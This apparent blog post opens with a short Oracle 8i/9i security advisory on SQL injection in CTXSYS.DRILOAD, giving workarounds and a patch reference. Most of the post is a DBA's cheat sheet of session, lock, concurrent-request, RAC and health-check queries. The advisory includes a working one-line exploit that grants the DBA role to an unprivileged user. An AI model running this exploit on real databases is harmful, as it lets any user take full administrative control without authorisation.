Saturday, June 11, 2011

SQL Injection via CTXSYS.DRILOAD in 8i and 9i

SQL Injection via CTXSYS.DRILOAD in Oracle 8i and 9i databases

Systems Affected: are Oracle 8.i and Oracle9i on all platforms
Severity: High Risk
Category: SQL Injection

Details: Any valid database user can become DBA (if CTXSYS is installed) by executing the package DRILOAD by submitting a specially crafted parameter.

Oracle 10g and 11g are NOT affected.
Workarounds: Drop user CTXSYS (if not needed) or 'revoke public grant from CTXSYS.DRILOAD'.

Example: sqlplus scott/tiger@tnsname (or every other unprivileged user)

SQL> exec ctxsys.driload.validate_stmt('grant dba to scott');

BEGIN ctxsys.driload.validate_stmt('grant dba to scott'); END;
*
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed
ORA-06512: at line 1

The above ORA- error is displayed but actually the dba role got granted to scott user.
Fix: On 8i and 9i database there is a patch available to fix this security vulnarability, Please see MetaLink document ID 281189.1 for the patch download procedures and for the Patch Availability Matrix for this Oracle Security Alert.



---->>>>rough<<<-----QUICK SQL<<<----
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM  GV$SESSION WHERE USERNAME='XXHR';
select * from gv$session where client_identifier='ASAMI00123';
SELECT SID,SERIAL#,BLOCKING_SESSION,CLIENT_IDENTIFIER FROM GV$SESSION WHERE CLIENT_IDENTIFIER='ASAMI00123';
select 'ALTER SYSTEM KILL SESSION ' || '''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''''  || ' IMMEDIATE;' From gv$session where action like '%XXORACLE_HR_COMP_SUPPORT%';
SELECT a.sid,a.serial#, a.username,c.os_user_name,a.terminal,
b.object_id,substr(b.object_name,1,40) object_name,sysdate
from v$session a, dba_objects b, v$locked_object c
where a.sid = c.session_id
and b.object_id = c.object_id;
select
   c.owner,
   c.object_name,
   c.object_type,
   b.sid,
   b.serial#,
   b.status,
   b.osuser,
   b.machine
from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id;

SELECT
b.action,
c.object_name,
c.object_type,
b.SID,
b.serial#,
c.owner,
c.object_name,
c.object_type,
b.SID,
b.serial#,
b.status,
b.osuser,
b.machine
FROM
v$locked_object a ,
v$session b,
dba_objects c
WHERE
b.SID = a.session_id
AND
a.object_id = c.object_id
and object_name in
(select
   c.object_name
from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id);

SELECT
b.action,
b.SID,
b.serial#,
b.SID,
b.serial#,
b.status,
b.osuser,
b.machine
FROM
v$session b
where action in (
SELECT
b.action
FROM
v$locked_object a ,
v$session b,
dba_objects c
WHERE
b.SID = a.session_id
AND
a.object_id = c.object_id
and object_name in
(select
   c.object_name
from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id));

select * From gv$session where action like '%PROPERTY%';
select * From gv$session where sid=10516 and serial#=39831;
SELECT   SID, serial#,
         ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1)
               ) "Elapsed_Time P Exec",
         ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1) / 60
               ) "Elapsed_Time P Exec Min",
         audsid, blocking_session, se.client_identifier,event, se.sql_id, program, se.action,
         username, machine, osuser, logon_time, executions, elapsed_time,
         status, machine, se.module, sql_fulltext
    FROM v$sql sq, v$session se
   WHERE sq.sql_id = se.sql_id AND TYPE = 'USER' AND status = 'ACTIVE'
ORDER BY ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1)) DESC;

SELECT gvh.inst_id Locking_Inst, round ( (gvs.seconds_in_wait/60),2) Mins_in_wait, gvh.sid Locking_Sid, gvs.serial# Locking_Serial, gvs.username,
       gvs.status Status, gvs.module Module, gvw.inst_id Waiting_Inst, gvw.sid Waiter_Sid, gvs.CLIENT_IDENTIFIER,
       decode(gvh.type, 'MR', 'Media_recovery',
                        'RT', 'Redo_thread',
                        'UN', 'User_name',
                        'TX', 'Transaction',
                        'TM', 'Dml',
                        'UL', 'PLSQL User_lock',
                        'DX', 'Distrted_Transaxion',
                        'CF', 'Control_file',
                        'IS', 'Instance_state',
                        'FS', 'File_set',
                        'IR', 'Instance_recovery',
                        'ST', 'Diskspace Transaction',
                        'IV', 'Libcache_invalidation',
                        'LS', 'LogStaartORswitch',
                        'RW', 'Row_wait',
                        'SQ', 'Sequence_no',
                        'TE', 'Extend_table',
                        'TT', 'Temp_table',
                              'Nothing-') Waiter_Lock_Type,
       decode(gvw.request, 0, 'None',
                           1, 'NoLock',
                           2, 'Row-Share',
                           3, 'Row-Exclusive',
                           4, 'Share-Table',
                           5, 'Share-Row-Exclusive',
                           6, 'Exclusive',
                              'Nothing-') Waiter_Mode_Req ,
dobj.object_name,
'alter system kill session '|| '''' || gvh.sid || ',' || gvs.serial# || ''' immediate;' "Kill_Command"
FROM gv$lock gvh, gv$lock gvw, gv$session gvs, dba_objects dobj
WHERE (gvh.id1, gvh.id2) in (
           SELECT id1, id2 FROM gv$lock WHERE request=0
                INTERSECT
           SELECT id1, id2 FROM gv$lock WHERE lmode=0)
  AND gvh.id1=gvw.id1
  AND gvh.id2=gvw.id2
  AND gvh.request=0
  AND gvw.lmode=0
  AND gvh.sid=gvs.sid
  AND gvh.inst_id=gvs.inst_id
  AND gvs.ROW_WAIT_OBJ# = dobj.object_id; 
 
 
  select inst_ID, round( (seconds_in_wait/60),2 ) Wait_in_Mins, blocking_session, blocking_instance, sid, Serial#, user#, username, command, status,
schema#, schemaname, osuser, process, machine, terminal, program, type,
sql_id, sql_exec_start, module, action, client_info, logon_time,
client_identifier, blocking_session_status,
final_blocking_session_status, final_blocking_instance, final_blocking_session,
event,  service_name
from  gv$session where blocking_session is not NULL
order by  blocking_session;
 
SELECT DECODE(request,0,'Holder: ','Waiter: ')||sid sess,inst_id,id1, id2, lmode, request, type FROM gV$LOCK
WHERE (id1, id2, type) IN (SELECT id1, id2, type FROM gV$LOCK WHERE request>0) ORDER BY id1,request;
select * From gv$session where sid=9796 and serial#=59779;

select * From gv$session where sid=1538;
alter system kill session '1538,40597,@2';
select * from gv$session where client_identifier='ASAMI00123';
SELECT SID,SERIAL#,BLOCKING_SESSION,CLIENT_IDENTIFIER FROM GV$SESSION WHERE CLIENT_IDENTIFIER='ASAMI00123';
lockED objects.
------------------------------------------------------
 SELECT a.sid,a.serial#, a.username,c.os_user_name,a.terminal,
b.object_id,substr(b.object_name,1,40) object_name,sysdate
from v$session a, dba_objects b, v$locked_object c
where a.sid = c.session_id
and b.object_id = c.object_id;
select
   c.owner,
   c.object_name,
   c.object_type,
   b.sid,
   b.serial#,
   b.status,
   b.osuser,
   b.machine
from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id;
*****************************************************************************
LOCKING SESSION, TABLE LOCKED
*****************************************************************************
SELECT
b.action,
c.object_name,
c.object_type,
b.SID,
b.serial#,
c.owner,
c.object_name,
c.object_type,
b.SID,
b.serial#,
b.status,
b.osuser,
b.machine
FROM
v$locked_object a ,
v$session b,
dba_objects c
WHERE
b.SID = a.session_id
AND
a.object_id = c.object_id
and object_name like '%XXORACLE_FA_ACT_INFORMATION%';

SELECT
b.action,
b.SID,
b.serial#,
b.SID,
b.serial#,
b.status,
b.osuser,
b.machine
FROM
v$session b
where action like '&ACTION FROM PREVIOUS QUERY’;

alter system kill session '3393,1551,@1';

*****************************************************************************
Long Running SQLs
*****************************************************************************
SELECT   SID, serial#,
         ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1)
               ) "Elapsed_Time P Exec",
         ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1) / 60
               ) "Elapsed_Time P Exec Min",
         audsid, blocking_session, se.client_identifier,event, se.sql_id, program, se.action,
         username, machine, osuser, logon_time, executions, elapsed_time,
         status, machine, se.module, sql_fulltext
    FROM v$sql sq, v$session se
   WHERE sq.sql_id = se.sql_id AND TYPE = 'USER' AND status = 'ACTIVE'
ORDER BY ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1)) DESC;
*****************************************************************************
How Many Conc Request By Node Name Detail
*****************************************************************************
SELECT   sess.SID, sess.serial#, fcr.OUTFILE_NODE_NAME NODE,
         fusr.description usern,
         fcp.user_concurrent_program_name progname,
         TO_CHAR (actual_start_date, 'DD-MON-YYYY HH24:MI:SS') startdate,
         request_id requestid,
         round((SYSDATE - actual_start_date) * 24 * 60 , 00 )  Elaps_Min
    FROM fnd_concurrent_requests fcr,
         fnd_concurrent_programs_tl fcp,
         fnd_user fusr,
         v$session sess
   WHERE fcp.concurrent_program_id = fcr.concurrent_program_id
     AND fcr.program_application_id = fcp.application_id
     AND fcp.LANGUAGE = 'US'
     AND fcr.phase_code = 'R'
     AND fcr.status_code = 'R'
     AND fcr.requested_by = fusr.user_id
     AND fcr.oracle_session_id = sess.audsid(+)
ORDER BY 5 DESC ;

******************************************************** ********************
Concurant programs running Time details
*****************************************************************************
select REQUEST_ID,ACTUAL_START_DATE,REQUESTOR,USER_CONCURRENT_PROGRAM_NAME,
trunc((sysdate - actual_start_date) * 24, 2) "Time_hours",printer,ARGUMENT_TEXT
from FND_CONC_REQ_SUMMARY_V
where STATUS_CODE ='R'
and PHASE_CODE ='R'
order by 5 desc;
*****************************************************************************
LOCKS SCript in RAC
*****************************************************************************
SELECT gvh.inst_id Locking_Inst, round ( (gvs.seconds_in_wait/60),2) Mins_in_wait, gvh.sid Locking_Sid, gvs.serial# Locking_Serial, gvs.username,
       gvs.status Status, gvs.module Module, gvw.inst_id Waiting_Inst, gvw.sid Waiter_Sid, gvs.CLIENT_IDENTIFIER,
       decode(gvh.type, 'MR', 'Media_recovery',
                        'RT', 'Redo_thread',
                        'UN', 'User_name',
                        'TX', 'Transaction',
                        'TM', 'Dml',
                        'UL', 'PLSQL User_lock',
                        'DX', 'Distrted_Transaxion',
                        'CF', 'Control_file',
                        'IS', 'Instance_state',
                        'FS', 'File_set',
                        'IR', 'Instance_recovery',
                        'ST', 'Diskspace Transaction',
                        'IV', 'Libcache_invalidation',
                        'LS', 'LogStaartORswitch',
                        'RW', 'Row_wait',
                        'SQ', 'Sequence_no',
                        'TE', 'Extend_table',
                        'TT', 'Temp_table',
                              'Nothing-') Waiter_Lock_Type,
       decode(gvw.request, 0, 'None',
                           1, 'NoLock',
                           2, 'Row-Share',
                           3, 'Row-Exclusive',
                           4, 'Share-Table',
                           5, 'Share-Row-Exclusive',
                           6, 'Exclusive',
                              'Nothing-') Waiter_Mode_Req ,
dobj.object_name,
'alter system kill session '|| '''' || gvh.sid || ',' || gvs.serial# || ''' immediate;' "Kill_Command"
FROM gv$lock gvh, gv$lock gvw, gv$session gvs, dba_objects dobj
WHERE (gvh.id1, gvh.id2) in (
           SELECT id1, id2 FROM gv$lock WHERE request=0
                INTERSECT
           SELECT id1, id2 FROM gv$lock WHERE lmode=0)
  AND gvh.id1=gvw.id1
  AND gvh.id2=gvw.id2
  AND gvh.request=0
  AND gvw.lmode=0
  AND gvh.sid=gvs.sid
  AND gvh.inst_id=gvs.inst_id
  AND gvs.ROW_WAIT_OBJ# = dobj.object_id; 

*****************************************************************************
Blocking sessions
*****************************************************************************
select inst_ID, round( (seconds_in_wait/60),2 ) Wait_in_Mins, blocking_session, blocking_instance, sid, Serial#, user#, username, command, status,
schema#, schemaname, osuser, process, machine, terminal, program, type,
sql_id, sql_exec_start, module, action, client_info, logon_time,
client_identifier, blocking_session_status,
final_blocking_session_status, final_blocking_instance, final_blocking_session,
event,  service_name
from  gv$session where blocking_session is not NULL
order by  blocking_session;
 
SELECT DECODE(request,0,'Holder: ','Waiter: ')||sid sess,inst_id,id1, id2, lmode, request, type FROM gV$LOCK
WHERE (id1, id2, type) IN (SELECT id1, id2, type FROM gV$LOCK WHERE request>0) ORDER BY id1,request;
*****************************************************************************
PGA Usage as per Node
*****************************************************************************
SELECT p.spid,
p.pid,
s.sid,
s.serial#,
S.STATUS,
s.machine,
s.process,
TRUNC((P.PGA_ALLOC_MEM/ 1024 / 1024),2) PGA_ALLOC_MEM,
trunc((p.PGA_USED_MEM/ 1024 / 1024),2) PGA_USED_MEM,
s.username,
s.osuser,s.lOGON_TIME,
s.program,s.module,
s.client_identifier
FROM v$process p,v$session s
WHERE s.paddr ( + ) = p.addr
and P.BACKGROUND is null
--and S.ACTION like '%AHL_JAVA%'
/* Comment out this line if need to monitor background processes */
order by P.PGA_ALLOC_MEM desc;
*****************************************************************************
sql check
*****************************************************************************
select * from v$sqlarea where sql_id='5hkc1cus1xcxu';
*****************************************************************************
To see all the pending / Running requests per each manager wise
*****************************************************************************
SELECT request_id, phase_code, status_code, user_name,
user_concurrent_queue_name
FROM apps.fnd_concurrent_worker_requests cwr,
apps.fnd_concurrent_queues_tl cq,
apps.fnd_user fu
WHERE (cwr.phase_code = 'P' OR cwr.phase_code = 'R')
AND cwr.hold_flag != 'Y'
AND cwr.requested_start_date <= SYSDATE
AND cwr.concurrent_queue_id = cq.concurrent_queue_id
AND cwr.queue_application_id = cq.application_id
AND cq.LANGUAGE = 'US'
AND cwr.requested_by = fu.user_id
ORDER BY 5
*****************************************************************************
A List of pending Jobs waiting for managers:
*****************************************************************************
SELECT b.USER_CONCURRENT_QUEUE_NAME , count(*)
FROM apps.FND_CONCURRENT_WORKER_REQUESTS a,apps.FND_CONCURRENT_QUEUES_VL b
WHERE (Phase_Code = 'P' ) and a.hold_flag != 'Y'
and a.Requested_Start_Date <= SYSDATE
AND ('' IS NULL OR ('' = 'B' AND PHASE_CODE = 'R' AND
STATUS_CODE IN ('I'))) and a.CONCURRENT_QUEUE_ID!=1003
and a.CONCURRENT_QUEUE_ID=b.CONCURRENT_QUEUE_ID 
group by b.USER_CONCURRENT_QUEUE_NAME ,status_code;
*****************************************************************************
Listing users having Sysadmin Responsibility
*****************************************************************************
SELECT a.user_id, b.user_name
FROM fnd_user_resp_groups a, fnd_user b
WHERE a.user_id = b.user_id AND responsibility_id = 20420
ORDER BY 1;
*****************************************************************************
List of Responsibilities for particular user *****************************************************************************
select fu.user_name, fr.responsibility_name, furg.START_DATE, furg.END_DATE
from APPS.fnd_user_resp_groups_direct furg, APPS.fnd_user fu, APPS.fnd_responsibility_tl fr
where fu.user_name IN upper('USER_NAME') and furg.user_id = fu.user_id
and furg.responsibility_id = fr.responsibility_id and fr.language = userenv('LANG');
*****************************************************************************
Concurrent Request Ran in Past 1 one hour
*****************************************************************************
select REQUEST_ID,REQUESTOR,
to_char(ACTUAL_START_DATE,'hh24:mi dd-MON-yyyy') started,
to_char(ACTUAL_COMPLETION_DATE,'hh24:mi dd-MON-yyyy') completed,
to_char(((((ACTUAL_COMPLETION_DATE-ACTUAL_START_DATE)*24*60*60)/60)/60),'99D99') duration,
sysdate,PROGRAM
from FND_CONC_REQ_SUMMARY_V,dual
where PHASE_CODE='C'
and REQUESTOR <> 'SYSADMIN'
--and to_date(ACTUAL_COMPLETION_DATE) between  to_date(sysdate-1/24) and to_date(sysdate)
and ACTUAL_COMPLETION_DATE >  sysdate-1/24
-- SYSDATE - 10/1440 
--An half hour from now    SYSDATE - 1/48
--10 minutes from now    SYSDATE - 10/1440
order by 4 desc;
*****************************************************************************
Top CPU
*****************************************************************************
select object_name, s.sid, s.serial#, p.spid
from v$locked_object l, dba_objects o, v$session s, v$process p
where l.object_id = o.object_id and l.session_id = s.sid and s.paddr = p.addr;
select vs.sid,vs.serial#,vs.username,vs.osuser,vs.machine,vs.program from v$session vs, v$process vp where vs.paddr = vp.addr
and vp.spid = &pid;
use the spid from the 1st query or the top cmd.
UNIX o/s cmd >> prstat -a -S rss
*****************************************************************************
WorkFlow
*****************************************************************************
select component_name, component_status, component_type from APPS.fnd_svc_components   where  component_name='Workflow Notification Mailer';

SELECT * FROM APPS.WF_NOTIFICATIONS WHERE MAIL_STATUS='MAIL' AND STATUS='CLOSED';
*****************************************************************************
Printer quees clear
*****************************************************************************
cat /etc/hosts|grep 10.21.*.* (It will list the printer is present r not)
lpc status printername
lpc disable printername
lpc enable printername
*****************************************************************************
*****************************************************************************
concurrent programs by name and run time FOR TODAY
SELECT r.REQUEST_ID,
       DECODE(cptl.user_concurrent_program_name,
              'Report Set', substr(r.description,1,40),
              SUBSTR(cptl.user_concurrent_program_name,1,40)) pn,
       q.concurrent_queue_name qn,
       TO_CHAR(r.ACTUAL_START_DATE,'MM/DD/YY HH:MI:SS') strttime,
       TO_CHAR(ACTUAL_COMPLETION_DATE,'MM/DD/YY HH:MI:SS') endtime,
       ROUND((r.ACTUAL_COMPLETION_DATE - r.ACTUAL_START_DATE)*(60*24),2) rtime,
       r.completion_text compl_txt
  FROM fnd_concurrent_requests r,
       fnd_concurrent_processes p,
       fnd_concurrent_programs cp,
       fnd_concurrent_programs_tl cptl,
       fnd_concurrent_queues q
 WHERE p.concurrent_queue_id = q.concurrent_queue_id
   AND p.queue_application_id = q.application_id
   AND r.controlling_manager = p.concurrent_process_id
   AND r.phase_code = 'C'
   AND r.program_application_id = cp.application_id
   AND r.concurrent_program_id = cp.concurrent_program_id
   AND cp.application_id = cptl.application_id
   AND cp.concurrent_program_id = cptl.concurrent_program_id
   AND TRUNC(ACTUAL_START_DATE) = TO_DATE(UPPER(SYSDATE),'DD-MON-YY')
 ORDER BY 2, 3, 4
/

*****************************************************************************
list concurrent manager utilization by hour FOR TODAY

SELECT
       TO_CHAR(r.ACTUAL_START_DATE,'MM/DD/YY HH24') rtime,
       q.concurrent_queue_name qn,
       COUNT(r.REQUEST_ID) cnt,
       SUM(ROUND((r.ACTUAL_COMPLETION_DATE - r.ACTUAL_START_DATE)*(60*24),2)) tott,
       MIN(ROUND((r.ACTUAL_COMPLETION_DATE - r.ACTUAL_START_DATE)*(60*24),2)) mint,
       AVG(ROUND((r.ACTUAL_COMPLETION_DATE - r.ACTUAL_START_DATE)*(60*24),2)) avgt,
       MAX(ROUND((r.ACTUAL_COMPLETION_DATE - r.ACTUAL_START_DATE)*(60*24),2)) maxt,
       AVG(ROUND((r.ACTUAL_START_DATE - r.REQUESTED_START_DATE)*(60*24),3)) avgd,
       MAX(ROUND((r.ACTUAL_START_DATE - r.REQUESTED_START_DATE)*(60*24),3)) maxd
  FROM fnd_concurrent_requests r,
       fnd_concurrent_processes p,
       fnd_concurrent_programs cp,
       fnd_concurrent_queues q,
       fnd_concurrent_programs_tl cptl
 WHERE TRUNC(r.ACTUAL_START_DATE) = TO_DATE(UPPER(SYSDATE),'DD-MON-YY')
  AND r.phase_code = 'C'
  AND R.controlling_manager = P.concurrent_process_id
  AND p.concurrent_queue_id = q.concurrent_queue_id
  AND p.queue_application_id = q.application_id
  AND r.program_application_id = cp.application_id
  AND r.concurrent_program_id = cp.concurrent_program_id
  AND cp.application_id = cptl.application_id
  AND cp.concurrent_program_id = cptl.concurrent_program_id
GROUP BY
  TO_CHAR(r.ACTUAL_START_DATE,'MM/DD/YY HH24'),
  q.concurrent_queue_name
ORDER BY
  rtime,
  q.concurrent_queue_name
/
find the users who are consuming the TEMP TEMPORARY Tablespace


SELECT S.sid || ',' || S.serial# sid_serial, S.username, S.osuser, P.spid, S.module,
P.program, SUM (T.blocks) * TBS.block_size / 1024 / 1024 mb_used, T.tablespace,
COUNT(*) statements
FROM gv$sort_usage T, gv$session S, dba_tablespaces TBS, gv$process P
WHERE T.session_addr = S.saddr
AND S.paddr = P.addr
AND T.tablespace = TBS.tablespace_name
GROUP BY S.sid, S.serial#, S.username, S.osuser, P.spid, S.module,
P.program, TBS.block_size, T.tablespace
ORDER BY mb_used desc;
Check the waits
SELECT s.sql_id,
  s.inst_id inst,
  sw.SID,
  s.serial#,
  TO_CHAR (s.logon_time, 'hh:mi:ss AM - dd-mm-yy') TIME,
  sw.seq#,
  s.username,
  sw.event,
  sw.seconds_in_wait secs,
  s.last_call_Et,
  sw.state
FROM gv$session s,
  gv$session_wait sw
WHERE s.username   IS NOT NULL
AND s.username not in ('SYS','SYSTEM')
AND sw.SID          = s.SID
AND s.inst_id       = sw.inst_id
AND sw.event not like 'SQL%Net%'
AND sw.event not like 'PX%'
AND sw.event not like 'Streams%'
-- AND s.status = 'ACTIVE'
-- and sw.seconds_in_wait <>0
ORDER BY 2
-- order by sw.seconds_in_wait ASC
/






#############################
#############################
#############################
#############################






































Note:
It is Oracle's Best Practise to have an OCR mirror stored in a second disk group. To follow this
recommendation add an OCR mirror. Mind that you can only have one OCR in a diskgroup
1. To add OCR mirror to an Oracle ASM disk group, ensure that the Oracle Clusterware stack is running and run the following command as administrator:
2. D:\OraGrid\BIN>ocrconfig -add +DBFLASH
3. D:\OraGrid\BIN>ocrcheck -config
#oracleasm listdisks
/etc/init.d/oracleasm listdisks
#crsctl query css votedisk
srvctl config scan
%GI_HOME%\bin\crsctl stat res -t
crsctl stat res myApache -t
11gr2
------
crsctl check cluster [-all | [-n server_name [...]]
•crsctl check cluster
•crsctl start cluster
•crsctl stop cluster
crsctl check css
crsctl status resource
srvctl start database -d orcl -o mount/nomount
srvctl stop database -d orcl -o immediate/transactional/normal/abort
srvctl start instance -d orcl -i orcl1 -o mount/nomount
srvctl start instance -d orcl -n rac1 -o mount/nomount
srvctl stop instance -d orcl -i orcl1 -o immediate/transactional/normal/abort
srvctl status database -d orcl
srvctl stop listener
srvctl stop asm -f
srvctl stop asm -n nodename
srvctl stop nodeapps -n node
crsctl stop crs
crsctl check crs

Follow the reverse sequence to start all processes in oracle RAC
# crsctl start crs
$ORACLE_HOME/bin/bin/srvctl start nodeapps -n node
$ORACLE_HOME/bin/bin/srvctl start asm -n node
$ORACLE_HOME/bin/srvctl start database -d db_name

crs_stat -t--->depricated so use,
%GI_HOME%\bin\crsctl stat res -t
http://www.oracleracexpert.com/2012/01/how-to-stop-and-start-processes-in.html

HEALTH CHECK
---------------
@?/rdbms/admin/spcreate
execute statspack.snap;
@?/rdbms/admin/spreport
---->>>>check time syncronisation
------>>>>>buffer cache hit ratio
SELECT ROUND((1-(phy.value / (cur.value + con.value)))*100,2) "Cache Hit Ratio"
   FROM v$sysstat cur, v$sysstat con, v$sysstat phy
   WHERE cur.name = 'db block gets'
    AND con.name = 'consistent gets'
    AND phy.name = 'physical reads'


SELECT * FROM DBA_REGISTRY;
sga_target, pga_aggregate_target, memory_target

select * from v$resource_limit;
SELECT PROPERTY_VALUE FROM DATABASE_PROPERTIES WHERE PROPERTY_NAME = 'DEFAULT_PERMANENT_TABLESPACE';

SELECT user_name username,
description name,
to_char(b.first_connect,'MM/DD/RR HH24:MI') firstconnect,
to_char(b.last_connect,'MM/DD/RR HH24:MI') lastconnect
FROM apps.fnd_user a,
(SELECT MIN (first_connect) first_connect,
MAX (last_connect) last_connect, last_updated_by user_id
FROM apps.icx_sessions
GROUP BY last_updated_by) b
WHERE a.user_id = b.user_id
AND last_connect>SYSDATE-3/12
ORDER BY 4 DESC
/
SELECT * FROM V$DATABASE_BLOCK_CORRUPTION;
SELECT * FROM V$BACKUP_CORRUPTION;
SELECT * FROM V$DATAFILE WHERE UNRECOVERABLE_CHANGE#<>0;
SELECT * FROM V$DATAFILE WHERE STATUS IN ('OFFLINE','SYSOFF');
select status from v$instance;
select count(*) from dba_objects where status='INVALID';
SELECT TABLESPACE_NAME,SUM(BYTES)/1024/1024 "free space in MB" FROM DBA_FREE_SPACE GROUP BY TABLESPACe_NAME order by 2;
SELECT T.TS#,T.NAME,D.NAME,d.bytes/1024/1024 FROM V$TABLESPACE T, V$DATAFILE D WHERE T.TS#=D.TS#;
select opname,time_remaining from v$session_longops where time_remaining<>0;
select sid,serial#,user#,username,status,schemaname,osuser,machine,terminal,program,prev_exec_start,module,logon_time from v$session where MACHINE IN ('QIA\MAHMEDPC') order by logon_time
desc;
select sid,serial#,user#,username,status,schemaname,osuser,machine,terminal,program,prev_exec_start,module,logon_time from v$session where MACHINE NOT IN ('prodapp','PRODDB','prodhrms','QIA
\PRODAPP','QIA\ABDULSAMIPC') order by logon_time desc;
==============================================
select sequence#,applied from v$archived_log;
select host_name,status from v$instance;
select message from v$dataguard_status;
==============================================
To  Find Blocking Sessions in Database
select * from dba_blockers
To find the Languages Installed ??
select nls_language, language_code, installed_flag from apps.fnd_languages where installed_flag in (‘I’,'B’);
===================
To check the WF status from backend
check the status of Agent Listeners:
select fsc.COMPONENT_NAME,fsc.STARTUP_MODE,fsc.COMPONENT_STATUS
from APPS.FND_CONCURRENT_QUEUES_VL fcq, fnd_svc_components fsc
where fsc.concurrent_queue_id = fcq.concurrent_queue_id(+)
order by COMPONENT_STATUS , STARTUP_MODE , COMPONENT_NAME;
CURRENTLY WHICH SESSIONS ARE CONNECTED (EXCLUDING 'prodhrms','prodapp','PRODDB' AND MACHINE NOT LIKE '%PRODAPP%')
------------------------------------------------------------------------------------------------------------------
SELECT s.inst_id,
       s.sid,
       s.serial#,
       p.spid,
       s.username,
       s.program,
    s.module,
    s.machine,
    s.osuser,
    s.prev_exec_start,
    s.logon_time
FROM   gv$session s
       JOIN gv$process p ON p.addr = s.paddr AND p.inst_id = s.inst_id
WHERE  s.type != 'BACKGROUND' and MACHINE NOT IN ('prodhrms','prodapp','PRODDB') AND MACHINE NOT LIKE '%PRODAPP%'
ORDER BY LOGON_TIME DESC;
HOW LARGE IS THE DATABASE
-------------------------
select round(sum(used.bytes) / 1024 / 1024 / 1024 ) || ' GB' "Database Size"
, round(sum(used.bytes) / 1024 / 1024 / 1024 ) -
 round(free.p / 1024 / 1024 / 1024) || ' GB' "Used space"
, round(free.p / 1024 / 1024 / 1024) || ' GB' "Free space"
from    (select bytes
 from v$datafile
 union all
 select bytes
 from  v$tempfile
 union  all
 select  bytes
 from  v$log) used
, (select sum(bytes) as p
 from dba_free_space) free
group by free.p
select owner,table_name,num_rows from dba_tables where num_rows is not null and num_rows>100000 order by num_rows desc;
SELECT NAME,BYTES/1024/1024 "size in MB" from v$datafile;
select t.name,d.name,d.bytes/1024/1024 from v$tablespace t, v$datafile d
where t.ts#=d.ts#;
select t.name,sum(d.bytes)/1024/1024 from v$tablespace t, v$datafile d where t.ts#=d.ts# group by t.name order by 2;
select name,unrecoverable_time,unrecoverable_change# from v$datafile;
select * from v$recovery_file_dest;
select name,value from v$parameter where value like '%/%';
SELECT PATCH_LEVEL FROM APPS.FND_PRODUCT_INSTALLATIONS WHERE PATCH_LEVEL LIKE '%AD%';
SELECT PATCH_LEVEL FROM APPS.FND_PRODUCT_INSTALLATIONS WHERE PATCH_LEVEL LIKE '%XTR%';
TO SEE THE USER CONNECTED AND WHAT RESPONSIBILITY HE IS USING
-------------------------------------------------------------
select distinct fu.user_name User_Name,fr.RESPONSIBILITY_KEY Responsibility
from fnd_user fu, fnd_responsibility fr, icx_sessions ic
where fu.user_id = ic.user_id AND
fr.responsibility_id = ic.responsibility_id AND
ic.disabled_flag='N' AND
ic.responsibility_id is not null AND
ic.last_connect like sysdate;
TO SEE WHO IS CONNECTED AND USING WHICH FORM AND RESPONSIBILITY
----------------------------------------------------------------
SELECT TIME, user_name, responsibility_name, user_form_name
FROM apps.fnd_form_sessions_v
ORDER BY 1;
Count concurrent users connected to Oracle Apps
-----------------------------------------------
select count(distinct d.user_name)
from apps.fnd_logins a, v$session b, v$process c, apps.fnd_user d
where b.paddr = c.addr
and a.pid=c.pid
and a.spid = b.process
and d.user_id = a.user_id
and (d.user_name = 'USER_NAME' OR 1=1);
Display names of Concurrent users connected to Oracle Apps
----------------------------------------------------------
select distinct d.user_name
from apps.fnd_logins a, v$session b, v$process c, apps.fnd_user d
where b.paddr = c.addr
and a.pid=c.pid
and a.spid = b.process
and d.user_id = a.user_id
and (d.user_name = 'USER_NAME' OR 1=1);
Can use this SQL statement to count concurrent_users in Oracle apps
-------------------------------------------------------------------
select count(distinct d.user_name) from apps.fnd_logins a,
v$session b, v$process c, apps.fnd_user d
where b.paddr = c.addr
and a.pid=c.pid
and a.spid = b.process
and d.user_id = a.user_id
and (d.user_name = 'USER_NAME' OR 1=1)
To see all forms users connection details like ip address etc
---------------------------------------------------------------
select * from fnd_oam_forms_rti;

Installing Oracle RAC 11g On Windows 2008 Service Pack 2 -64bit
For Oracle ASM 11g Release 2 (11.2.0.1), Oracle ACFS and Oracle ADVM(DYNAMIC VOLUME MANAGER) are supported only on Windows Server 2003 64-bit and Windows Server 2003 R2 64-bit. Starting with Oracle ASM 11g Release 2 (11.2.0.2), Oracle ACFS and Oracle ADVM are also supported on Windows Server 2008, x64 and Windows Server 2008 R2, x64.
---->RMAN VALIDATE DATABASE, LIST FAILURE, ADVISE FAILURE
------>>>>>>CHECK IF TEST AND DEV INSTANCES HAS SCRAMBLED DATA
----->>>>>ORA-00020: maximum number of processes (%s) exceeded
--->>>archive mode, rman backup
--->>STOP MSDTC SERVICE
-->v$fixed_view_definition, V$ASM_OPERATION
All RAC instance information.
-----------------------------
SELECT
    instance_name || ' (' || instance_number || ')' instance_name
  , thread#
  , host_name
  , status
  , TO_CHAR(startup_time, 'DD-MON-YYYY HH:MI:SS') startup_time
  , database_status
  , archiver
  , logins
  , shutdown_pending
  , active_state
  , version
FROM
    gv$instance
ORDER BY
    instance_number;

Report of all disks contained within all ASM disk groups along with their performance metrics.
----------------------------------------------------------------------------------------------
SELECT
    a.name                disk_group_name
  , b.path                disk_path
  , b.reads               reads
  , b.writes              writes
  , b.read_errs           read_errs
  , b.write_errs          write_errs
  , b.read_time           read_time
  , b.write_time          write_time
  , b.bytes_read          bytes_read
  , b.bytes_written       bytes_written
FROM
    v$asm_diskgroup a JOIN v$asm_disk b USING (group_number)
ORDER BY
